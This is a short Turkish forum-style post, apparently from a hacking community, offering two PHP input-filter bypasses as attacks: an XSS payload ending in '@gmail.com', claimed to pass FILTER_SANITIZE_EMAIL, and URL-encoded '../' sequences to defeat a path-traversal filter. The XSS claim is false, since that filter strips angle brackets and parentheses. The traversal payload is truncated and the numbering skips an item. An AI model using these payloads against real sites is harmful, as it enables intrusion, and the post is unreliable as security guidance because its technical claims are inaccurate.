1)
PHP:
$email = filter_var($_GET['email'],FILTER_SANITIZE_EMAIL);
Bu kod email doğrulaması yaparken @ işaretine bakıyor.
Yani
[email protected] şeklinde girildiğinde doğrulanıyor.
Oraya
<script>alert('Hacked by TurkHackTeam');</script> yazarsak içinde @ olmadığından kabul etmez.
Ancak
<script>alert('Hacked by TurkHackTeam');</script>@gmail.com şeklinde yazarsak filtreden geçer ve xss açığı meydana gelir.
3)
PHP:
while (strpos($path, '../') !== false)
{
$path = str_replace('../', '', $path);
if (isset($_GET['debug']))
{
}
}
Burada ../ olup olmadığını kontrol ediyor. Var ise temizliyor.
yani
../.../.../.../.../../ gibi bir kullanım yapamayız.
Onun yerine
..%2F..%2F..%2F..%2F..%2F..%2 şeklinde yazarız ve bu açığı sömürürüz.
